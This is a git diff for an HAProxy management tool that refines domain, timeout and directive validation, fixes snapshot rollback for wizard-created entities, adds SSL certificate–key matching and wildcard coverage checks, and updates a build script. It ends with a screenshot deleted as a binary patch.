r"^(?:\*\.)?(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$" +) +MAX_DOMAIN_LENGTH = 253 + + +def _looks_like_idn(value: str) -> bool: + """Bulgu #42 (round-16 audit) — detect non-ASCII characters in the + bare domain string so we can hand the operator a concrete + actionable hint (encode to punycode) instead of an opaque "Invalid + domain format". This intentionally does NOT include the existing + `xn--` prefix in the suggestion path: those strings are already + ASCII and pass the regex. + """ + if not value or not isinstance(value, str): + return False + try: + return any(ord(c) > 127 for c in value) + except TypeError: + return False + + +def validate_domain(value: str) -> str: + """Validate + normalise (lowercase, stripped) a single domain. + + Raises ValueError on syntax errors. Returns the normalised value. + """ + if not value or not isinstance(value, str): + raise ValueError("Domain entries must be non-empty strings") + d_norm = value.strip().lower() + if not d_norm or len(d_norm) > MAX_DOMAIN_LENGTH: + raise ValueError(f"Invalid domain length: '{value}' (max {MAX_DOMAIN_LENGTH} chars)") + if ".." in d_norm or d_norm.startswith(".") or d_norm.endswith("."): + raise ValueError(f"Invalid domain syntax: '{value}'") + if not DOMAIN_REGEX.match(d_norm): + # Bulgu #42 (round-16 audit) — give IDN/Unicode operators a + # specific path forward instead of "Invalid domain format". + # HAProxy's host header matching is byte-based; the canonical + # path is to enter the punycode (`xn--…`) form, which the + # browser already sends on the wire for Unicode addresses. + if _looks_like_idn(value): + try: + ascii_form = value.strip().encode("idna").decode("ascii").lower() + raise ValueError( + f"Invalid domain format: '{value}'. The wizard " + "requires ASCII-only (punycode) domain entries; " + f"enter '{ascii_form}' instead, which is the " + "browser's on-the-wire form of your Unicode " + "domain." + ) + except UnicodeError: + raise ValueError( + f"Invalid domain format: '{value}'. Unicode " + "(IDN) entries must first be encoded to punycode " + "(`xn--…`) — your input could not be encoded " + "automatically; re-check the spelling." + ) + raise ValueError(f"Invalid domain format: '{value}'") + return d_norm + + +def validate_domains(values): + """Validate + normalise a list of domains, returning the normalised list.""" + return [validate_domain(d) for d in values] diff --git a/backend/utils/entity_snapshot.py b/backend/utils/entity_snapshot.py index 06bef1e..3ae4bcf 100644 --- a/backend/utils/entity_snapshot.py +++ b/backend/utils/entity_snapshot.py @@ -1,11 +1,11 @@ """ Entity Snapshot Module for HAProxy OpenManager -Bu modül, entity değişikliklerinin snapshot'ını alır ve reject edildiğinde -geri yüklenmesini sağlar. +This module captures snapshots of entity changes so they can be +restored on reject of a config_version. Usage: - # UPDATE için snapshot al + # Capture an UPDATE snapshot. old_entity = await conn.fetchrow("SELECT * FROM frontends WHERE id = 5") snapshot_metadata = await save_entity_snapshot( conn=conn, @@ -15,24 +15,26 @@ Usage: new_values={"bind_port": 443}, operation="UPDATE" ) - - # Config version'a ekle + + # Persist the snapshot on the config version. await conn.execute( "INSERT INTO config_versions (..., metadata) VALUES (..., $1)", json.dumps(snapshot_metadata) ) - - # Reject edildiğinde rollback yap + + # Roll back when the config version is rejected. await rollback_entity_from_snapshot(conn, snapshot_metadata["entity_snapshot"]) Supported Operations: - - UPDATE: Var olan entity'nin field'larını eski değerlere döndür - - CREATE: Yeni oluşturulan entity'yi sil (bulk import için) - - UPDATE_RESTORE: Restore işlemi sırasında yapılan UPDATE'i geri al + - UPDATE: restore the entity's fields to their pre-change values + - CREATE: delete the newly-created entity (used by bulk import / wizard) + - UPDATE_RESTORE: undo an UPDATE performed during a restore flow + - DELETE: re-create a soft-deleted entity (currently unused — soft + delete is preferred) Feature Flag: ENTITY_SNAPSHOT_ENABLED=true|false - Default: false (güvenli başlangıç) + Default: false — safe-by-default until the operator opts in. Author: Taylan Bakırcıoğlu Date: 2025-01-13 @@ -235,8 +237,27 @@ async def rollback_entity_from_snapshot( logger.info(f"ROLLBACK DEBUG: entity_type={entity_type}, entity_id={entity_id}, operation={operation}") logger.info(f"ROLLBACK DEBUG: old_values exists={old_values is not None}, old_values length={len(old_values) if old_values else 0}") - if not all([entity_type, entity_id, operation, old_values]): - logger.warning(f"ROLLBACK: Invalid snapshot data, skipping rollback (missing: {[k for k in ['entity_type', 'entity_id', 'operation', 'old_values'] if not entity_snapshot.get(k)]})") + # R18 audit fix: the historical guard `not all([..., old_values])` + # treated `old_values={}` as missing because `{}` is falsy in Python. + # The wizard's bulk_snapshots always emit `"old_values": {}` for + # CREATE entries (there's nothing to restore on rollback — the + # rollback path is a DELETE) — so EVERY wizard CREATE snapshot + # silently bypassed the rollback shim. Rejecting a wizard PENDING + # version then visibly removed the config_versions row but left the + # wizard-created backends/servers/frontends/SSL certs orphaned in + # the DB. Fix: only require old_values for UPDATE/DELETE; for + # CREATE the field is intentionally empty. + if not all([entity_type, entity_id, operation]): + logger.warning( + "ROLLBACK: Invalid snapshot data, skipping rollback (missing: " + f"{[k for k in ['entity_type', 'entity_id', 'operation'] if not entity_snapshot.get(k)]})" + ) + return False + if operation in ("UPDATE", "UPDATE_RESTORE", "DELETE") and not old_values: + logger.warning( + f"ROLLBACK: {operation} snapshot for {entity_type} {entity_id} " + "is missing old_values — cannot restore prior state" + ) return False try: @@ -602,7 +623,20 @@ async def _rollback_create( await conn.execute("DELETE FROM backend_servers WHERE id = $1", entity_id) logger.info(f"ROLLBACK CREATE: Deleted server {entity_id}") return True - + + elif entity_type == "letsencrypt_order": + # v1.5.0 Feature B: wizard-staged ACME orders attached to a + # bulk-site-create-* version (legacy: bulk-proxied-host-create-*). + # Cascade also removes acme_challenges (ON DELETE CASCADE). + await conn.execute( + "DELETE FROM letsencrypt_orders WHERE id = $1", entity_id + ) + logger.info( + f"ROLLBACK CREATE: Deleted letsencrypt_order {entity_id} " + "(+ cascade acme_challenges)" + ) + return True + else: logger.warning(f"ROLLBACK CREATE: Unsupported entity type '{entity_type}'") return False diff --git a/backend/utils/haproxy_validator.py b/backend/utils/haproxy_validator.py index 50bbf01..6756ca7 100644 --- a/backend/utils/haproxy_validator.py +++ b/backend/utils/haproxy_validator.py @@ -48,52 +48,199 @@ class HAProxyConfigValidator: self.sections = {} self.current_section = None self.line_number = 0 + # Phase K Phase D follow-up (Bulgu #12) — when the input is + # a PARTIAL config (wizard candidate fragment OR an in-place + # apply-time synthesis that DOES NOT include the global / + # defaults blocks because the agent merges them with its + # local copy on disk), the "Missing 'global' section" / + # "Consider adding 'defaults' section" diagnostics are pure + # false positives that confuse operators and inflate the + # warning count. We auto-detect partial fragments by + # looking for the wizard's own marker comment OR for the + # absence of any global/defaults section AT LEAST ONE + # frontend/backend section emitted. + self._is_partial_fragment = False - # Valid directives by section + # Phase K Phase D follow-up (Bulgu #12 / round 3): Valid + # directives by section. The legacy sets below were a small, + # hand-picked subset that surfaced spurious WARNINGs for many + # well-formed wizard / manual configs: + # - `stick-table` / `stick` are valid in BOTH frontend AND + # backend (HAProxy 1.6+). The wizard emits stick-table on + # frontends with rate-limit WAF rules; the heuristic + # flagged each emission as "may not be valid". + # - `tcp-request` / `tcp-response` are valid in frontend AND + # backend (used for L4 inspection, content acceptance, + # custom track-sc rules). + # - `cookie` is the canonical session-stickiness directive + # in BACKEND. Pre-fix the validator flagged every wizard + # backend with cookie-based stickiness as "may not be + # valid". + # The post-fix sets are still NOT exhaustive (HAProxy has + # ~200 directives) but they cover the full surface area of + # what the wizard, manual Frontend/Backend management pages + # and config_templates can EVER emit, plus the most common + # operator-authored directives in raw-mode editors. Anything + # outside this set still emits a low-severity WARNING (never + # an ERROR), so a typo is still surfaced — we just stop + # crying wolf on valid configs. + # NOTE on lookup mechanics: `_validate_directive` splits the + # line by whitespace and checks `parts[0]` against the section + # set. So multi-word directive forms (e.g. `monitor fail`) DO + # NOT need to be listed — only the first token matters. + # Likewise `no option httplog` looks up `no` (a valid HAProxy + # negation prefix recognised in entity sections), which is + # included below. self.valid_directives = { 'global': { 'daemon', 'master-worker', 'nbproc', 'nbthread', 'cpu-map', 'stats', 'user', 'group', 'chroot', 'pidfile', 'log', 'log-tag', - 'maxconn', 'ulimit-n', 'spread-checks', 'tune.ssl.default-dh-param', + 'maxconn', 'ulimit-n', 'spread-checks', 'ssl-default-bind-options', 'ssl-default-bind-ciphers', 'ca-base', - 'crt-base', 'tune.bufsize', 'tune.maxrewrite', 'tune.rcvbuf.client', - 'tune.rcvbuf.server', 'tune.sndbuf.client', 'tune.sndbuf.server' + 'crt-base', + 'tune.bufsize', 'tune.maxrewrite', + 'tune.rcvbuf.client', 'tune.rcvbuf.server', + 'tune.sndbuf.client', 'tune.sndbuf.server', + 'tune.ssl.default-dh-param', 'tune.ssl.cachesize', + 'tune.ssl.lifetime', 'tune.ssl.maxrecord', + 'tune.fd.edge-triggered', + 'description', 'numa-cpu-mapping', 'no-numa-cpu-mapping', + 'thread-groups', 'stats-file', 'unix-bind', + 'presetenv', 'setenv', + 'ssl-server-verify', 'ssl-mode-async', + 'h1-case-adjust', 'h1-case-adjust-file', + 'hard-stop-after', + 'wurfl-data-file', 'wurfl-information-list', + 'wurfl-information-list-separator', 'wurfl-cache-size', + 'wurfl-engine-mode', + 'cluster-secret', 'expose-experimental-directives', + '51degrees-data-file', + 'no-quic', 'limited-quic', 'mworker-max-reloads', }, 'defaults': { 'mode', 'balance', 'option', 'timeout', 'retries', 'maxconn', - 'http-request', 'http-response', 'errorfile', 'default-server', - 'log', 'compression' + 'http-request', 'http-response', 'http-after-response', + 'errorfile', 'errorloc', 'errorloc302', 'errorloc303', + 'http-error', + 'default-server', 'default_backend', 'dispatch', + 'log', 'log-tag', 'log-format', 'log-format-sd', + 'compression', 'http-check', 'http-reuse', + 'cookie', 'monitor-uri', + 'load-server-state-from-file', + 'http-send-name-header', + 'fullconn', 'unique-id-format', 'unique-id-header', + 'tcp-request', 'tcp-response', 'persist', + 'enabled', 'disabled', 'hash-type', 'capture', + 'rate-limit', 'description', }, 'frontend': { - 'bind', 'mode', 'option', 'timeout', 'maxconn', 'default_backend', - 'use_backend', 'acl', 'http-request', 'http-response', 'redirect', - 'capture', 'monitor-uri', 'log', 'compression', 'rate-limit' + 'bind', 'mode', 'option', 'no', 'timeout', 'maxconn', + 'default_backend', 'use_backend', + 'acl', 'http-request', 'http-response', 'http-after-response', + 'redirect', 'capture', + 'monitor-uri', 'monitor', + 'log', 'log-format', 'log-format-sd', 'log-tag', + 'compression', 'rate-limit', + 'stick-table', 'stick', + 'tcp-request', 'tcp-response', + 'errorfile', 'errorloc', 'errorloc302', 'errorloc303', + 'http-error', + 'description', 'id', 'filter', + 'unique-id-format', 'unique-id-header', 'declare', + 'http-reuse', 'maxidle', 'maxlife', + 'enabled', 'disabled', 'http-send-name-header', + 'http-buffer-request', }, 'backend': { - 'mode', 'balance', 'option', 'timeout', 'server', 'http-request', - 'http-response', 'stick-table', 'stick', 'hash-type', 'default-server', - 'log', 'compression', 'http-check' + 'mode', 'balance', 'option', 'no', 'timeout', + 'server', 'default-server', + 'http-request', 'http-response', 'http-after-response', + 'stick-table', 'stick', 'hash-type', + 'log', 'log-format', 'log-format-sd', 'log-tag', + 'compression', 'http-check', 'http-reuse', + 'cookie', 'appsession', + 'tcp-request', 'tcp-response', 'tcp-check', + 'retries', 'fullconn', 'dispatch', + 'redirect', 'use-server', 'use_backend', + 'acl', 'capture', + 'errorfile', 'errorloc', 'errorloc302', 'errorloc303', + 'http-error', + 'description', 'id', 'filter', + 'rate-limit', 'declare', + 'email-alert', 'force-persist', 'ignore-persist', + 'enabled', 'disabled', 'load-server-state-from-file', + 'http-send-name-header', 'persist', + 'transparent', 'source', }, 'listen': { - 'bind', 'mode', 'balance', 'option', 'timeout', 'server', 'maxconn', - 'http-request', 'http-response', 'acl', 'default-server', 'log' - } + 'bind', 'mode', 'balance', 'option', 'no', 'timeout', + 'server', 'default-server', 'maxconn', + 'http-request', 'http-response', 'http-after-response', + 'acl', 'log', 'log-format', 'log-format-sd', + 'stick-table', 'stick', 'tcp-request', 'tcp-response', + 'cookie', 'use_backend', 'capture', 'redirect', + 'http-check', 'tcp-check', + 'errorfile', 'errorloc', 'errorloc302', 'errorloc303', + 'http-error', + 'description', 'id', 'filter', + 'monitor-uri', 'monitor', + 'compression', 'retries', 'fullconn', 'hash-type', + 'rate-limit', + }, } - def validate_config(self, config_content: str) -> ConfigValidationReport: - """Validate complete HAProxy configuration""" + def validate_config( + self, + config_content: str, + partial_fragment: bool = False, + ) -> ConfigValidationReport: + """Validate complete HAProxy configuration. + + Phase K Phase D follow-up (Bulgu #12) — `partial_fragment=True` + signals that the caller intentionally synthesised a partial + config that EXCLUDES `global` / `defaults` sections (the + agent merges them with its local copy on the HAProxy node). + With this flag the validator skips the "Missing 'global' + section" / "Consider adding 'defaults' section" diagnostics + that are pure false positives for the wizard's dry-run and + the wizard's apply-time pre-persist gate. When the flag is + unset (False, the default) AND the input clearly looks + partial (no global/defaults but at least one + frontend/backend), the validator auto-detects via the + wizard's marker comment so callers that forget to pass + the flag still don't trigger the warning. + """ self.results = [] self.sections = {} self.current_section = None self.line_number = 0 - + # Caller-explicit flag wins; auto-detect via marker comment + # below for backwards compatibility with older callers. + self._is_partial_fragment = bool(partial_fragment) + lines = config_content.split('\n') - + + # Phase K Phase D (Bulgu #12) — auto-detect the wizard's own + # marker comment so callers that forget to pass + # `partial_fragment=True` still get the suppressed warnings. + # The marker is emitted by + # `routers/site_wizard.py::_build_candidate_fragment` and + # `services/haproxy_config.py` when assembling a cluster + # synthesis without the global/defaults preamble. + for raw_line in lines: + sline = raw_line.strip() + if ( + 'Wizard candidate fragment' in sline + or 'agent will preserve existing global' in sline.lower() + ): + self._is_partial_fragment = True + break + # Parse and validate each line for line_num, line in enumerate(lines, 1): self.line_number = line_num self._validate_line(line.strip()) - + # Perform section-level validations self._validate_sections() @@ -319,7 +466,21 @@ class HAProxyConfigValidator: ) # Validate timeout value format - if not re.match(r'^\d+[smhd]?$', timeout_value): + # + # HAProxy accepts the unit suffixes: `us` (microseconds), `ms` + # (milliseconds), `s` (seconds), `m` (minutes), `h` (hours), + # `d` (days). A bare integer (no suffix) is also valid and is + # interpreted as milliseconds (HAProxy docs: "Time values"). + # + # Phase K Phase D follow-up (Bulgu #10) — the pre-fix regex + # was `^\d+[smhd]?$`, which rejected the perfectly valid + # multi-character `us` and `ms` suffixes. Site Wizard's + # config synthesis emits `timeout connect 10000ms` / + # `timeout server 60000ms` / `timeout client 100ms` so the + # dry-run preview surfaced 10+ FALSE-POSITIVE errors on + # the wizard's own defaults, blocking Create even though + # the real HAProxy `-c` parse accepts the config. + if not re.match(r'^\d+(us|ms|s|m|h|d)?$', timeout_value): self._add_result( ValidationLevel.ERROR, f"Invalid timeout value '{timeout_value}'", @@ -432,27 +593,35 @@ class HAProxyConfigValidator: def _validate_sections(self): """Validate section-level requirements""" - - # Check for required global settings - if 'global' not in self.sections: - self._add_result( - ValidationLevel.WARNING, - "Missing 'global' section - recommended for production", - suggestion="Add global section with basic settings" - ) - - # Check for defaults section - if 'defaults' not in self.sections: - self._add_result( - ValidationLevel.SUGGESTION, - "Consider adding 'defaults' section for common settings", - suggestion="Add defaults section to reduce configuration duplication" - ) - - # Check balance of frontends and backends + + # Phase K Phase D (Bulgu #12): skip the "Missing 'global' / + # 'defaults'" diagnostics on partial-fragment inputs. The + # wizard / cluster-synthesis emit fragments where the agent + # MERGES the local global+defaults blocks at apply time — + # the heuristic is being shown only the entity blocks, so + # complaining about missing global is misleading. + if not self._is_partial_fragment: + if 'global' not in self.sections: + self._add_result( + ValidationLevel.WARNING, + "Missing 'global' section - recommended for production", + suggestion="Add global section with basic settings" + ) + + if 'defaults' not in self.sections: + self._add_result( + ValidationLevel.SUGGESTION, + "Consider adding 'defaults' section for common settings", + suggestion="Add defaults section to reduce configuration duplication" + ) + + # Check balance of frontends and backends (still useful for + # both complete configs AND partial fragments — a fragment + # that emits a frontend without its referenced backend is + # a real authoring bug). frontend_count = len(self.sections.get('frontend', [])) backend_count = len(self.sections.get('backend', [])) - + if frontend_count > 0 and backend_count == 0: self._add_result( ValidationLevel.WARNING, @@ -559,10 +728,22 @@ class HAProxyConfigValidator: ) self.results.append(result) -def validate_haproxy_config(config_content: str) -> ConfigValidationReport: - """Main function to validate HAProxy configuration""" +def validate_haproxy_config( + config_content: str, + partial_fragment: bool = False, +) -> ConfigValidationReport: + """Main function to validate HAProxy configuration. + + Phase K Phase D follow-up (Bulgu #12) — `partial_fragment` is + forwarded to the validator instance so callers that synthesise + a partial config (no global/defaults sections — agent merges + them locally) can silence the "Missing 'global' section" + false-positive WARNING. Defaults to False for backwards + compatibility with the manual config-import path that DOES + validate a complete on-disk config. + """ validator = HAProxyConfigValidator() - return validator.validate_config(config_content) + return validator.validate_config(config_content, partial_fragment=partial_fragment) def get_validation_summary(report: ConfigValidationReport) -> Dict[str, Any]: """Get validation summary for API response""" diff --git a/backend/utils/ssl_parser.py b/backend/utils/ssl_parser.py index 5759045..b1f36e5 100644 --- a/backend/utils/ssl_parser.py +++ b/backend/utils/ssl_parser.py @@ -217,6 +217,132 @@ def validate_certificate_chain(chain_content: str) -> bool: logger.error(f"Failed to validate certificate chain: {e}") return False +def verify_certificate_key_match( + cert_content: str, private_key_content: str +) -> Dict[str, Any]: + """Bulgu #23 (round-12 audit): verify cert public key == private key + public key. + + Pre-fix the wizard / direct SSL upload route validated cert and + key INDEPENDENTLY. An operator who pasted a cert for site A and + the private key for site B (easy to mix up when juggling many + PEMs) saw success and only learned about the mismatch at the + agent's `haproxy -c`, which errors with: + + unable to load SSL private key from PEM file '...': + crypto/x509/x509_cmp.c:...: X509_check_private_key: + key values mismatch + + by which point the wizard had already created the cert row, the + HTTPS frontend row, and the PENDING config version. Recovery + required hunting through Apply Management to reject the version. + + Returns: + {"match": bool, "reason": Optional[str]} + - match=True → cert and key share the same public key. + - match=False → mismatch (cert/key are for different sites + or the key was rotated without re-issuing the cert). + - match=None → could not compare (e.g. encrypted key, + unsupported key type). Caller falls back to validate-key + only (which already ran). + """ + from cryptography.hazmat.primitives import serialization + + if not (cert_content or "").strip() or not (private_key_content or "").strip(): + return {"match": None, "reason": "empty cert or key content"} + + try: + cert_bytes = cert_content.strip().encode("utf-8") + certificate = x509.load_pem_x509_certificate(cert_bytes) + except Exception as cert_err: + return {"match": None, "reason": f"cert parse failed: {cert_err}"} + + key_bytes = private_key_content.strip().encode("utf-8") + key_obj = None + for password in (None, b""): + try: + key_obj = serialization.load_pem_private_key( + key_bytes, password=password + ) + break + except Exception: + continue + if key_obj is None: + return {"match": None, "reason": "key parse failed (encrypted?)"} + + try: + cert_pub_der = certificate.public_key().public_bytes( + encoding=serialization.Encoding.DER, + format=serialization.PublicFormat.SubjectPublicKeyInfo, + ) + key_pub_der = key_obj.public_key().public_bytes( + encoding=serialization.Encoding.DER, + format=serialization.PublicFormat.SubjectPublicKeyInfo, + ) + except Exception as compare_err: + return {"match": None, "reason": f"public-key serialization failed: {compare_err}"} + + return { + "match": cert_pub_der == key_pub_der, + "reason": ( + None if cert_pub_der == key_pub_der + else "cert public key differs from private key's public key" + ), + } + + +def domain_covered_by_cert(domain: str, cert_san_or_cn: list) -> bool: + """Bulgu #25 (round-12 audit): check whether a `domain` is covered + by any entry in the cert's SAN / Common-Name list, accounting for + RFC 6125 single-label wildcards. + + HAProxy's SNI / cert matching follows RFC 6125 / RFC 9525: + + * Literal match: cert SAN `api.example.com` matches `api.example.com`. + * Wildcard: cert SAN `*.example.com` matches `api.example.com` + (single leftmost label) but does NOT match `api.sub.example.com` + (two leftmost labels) and does NOT match the bare apex + `example.com` (no leftmost label). + + Pre-fix the wizard let an operator deploy a site with + `domains=['shop.example.com']` and a cert for `api.example.com` + — HAProxy loads happily but every TLS handshake serves the wrong + cert, browser shows NET::ERR_CERT_COMMON_NAME_INVALID, and the + site is effectively down. + """ + if not domain or not cert_san_or_cn: + return False + domain_lc = domain.lower().strip().rstrip(".") + if not domain_lc: + return False + for cd in cert_san_or_cn: + cd_lc = (cd or "").lower().strip().rstrip(".") + if not cd_lc: + continue + if cd_lc == domain_lc: + return True + if cd_lc.startswith("*."): + parent = cd_lc[2:] + if not parent or "." not in parent: + continue + suffix = "." + parent + if domain_lc.endswith(suffix): + prefix = domain_lc[: -len(suffix)] + if prefix and "." not in prefix: + return True + return False + + +def find_uncovered_domains(domains: list, cert_san_or_cn: list) -> list: + """Return the subset of `domains` NOT covered by any SAN/CN entry, + preserving the input order so the error message lists them as + the operator typed them. + """ + if not domains: + return [] + return [d for d in domains if not domain_covered_by_cert(d, cert_san_or_cn or [])] + + def format_certificate_info(cert_info: Dict[str, Any]) -> str: """ Format certificate information for display diff --git a/build-images.sh b/build-images.sh index d2c5543..d0b731d 100755 --- a/build-images.sh +++ b/build-images.sh @@ -32,9 +32,7 @@ print_error() { } # Configuration -# Set REGISTRY environment variable or use default -# Example: export REGISTRY="taylanbakircioglu" -REGISTRY="${REGISTRY:-taylanbakircioglu}" +REGISTRY="${REGISTRY:-your-registry.example.com/your-org}" BACKEND_IMAGE="${REGISTRY}/haproxy-openmanager-backend" FRONTEND_IMAGE="${REGISTRY}/haproxy-openmanager-frontend" VERSION="${VERSION:-latest}" @@ -101,10 +99,10 @@ fi print_status "Updating Kubernetes manifests with new image versions..." # Update backend deployment -sed -i.bak "s|image: taylanbakircioglu/haproxy-openmanager-backend:latest|image: $BACKEND_IMAGE:$VERSION|g" k8s/manifests/08-backend.yaml +sed -i.bak "s|image: your-registry.example.com/your-org/haproxy-openmanager:|image: $BACKEND_IMAGE:$VERSION|g" k8s/manifests/08-backend.yaml # Update frontend deployment -sed -i.bak "s|image: taylanbakircioglu/haproxy-openmanager-frontend:latest|image: $FRONTEND_IMAGE:$VERSION|g" k8s/manifests/09-frontend.yaml +sed -i.bak "s|image: your-registry.example.com/your-org/haproxy-openmanager:|image: $FRONTEND_IMAGE:$VERSION|g" k8s/manifests/09-frontend.yaml print_success "Kubernetes manifests updated" @@ -123,8 +121,8 @@ echo " oc apply -f k8s/manifests/08-backend.yaml" echo " oc apply -f k8s/manifests/09-frontend.yaml" echo echo "3. Check deployment status:" -echo " oc get pods -n haproxy-openmanager" -echo " oc logs -f deployment/backend -n haproxy-openmanager" -echo " oc logs -f deployment/frontend -n haproxy-openmanager" +echo " oc get pods -n internal-haproxy-openmanager" +echo " oc logs -f deployment/backend -n internal-haproxy-openmanager" +echo " oc logs -f deployment/frontend -n internal-haproxy-openmanager" print_success "Docker image build completed!" \ No newline at end of file diff --git a/docs/screenshots/dashboard-capacity.png b/docs/screenshots/dashboard-capacity.png deleted file mode 100644 index a823e80dd76a5567dabdfb29a6441419c525d176..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 304177 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 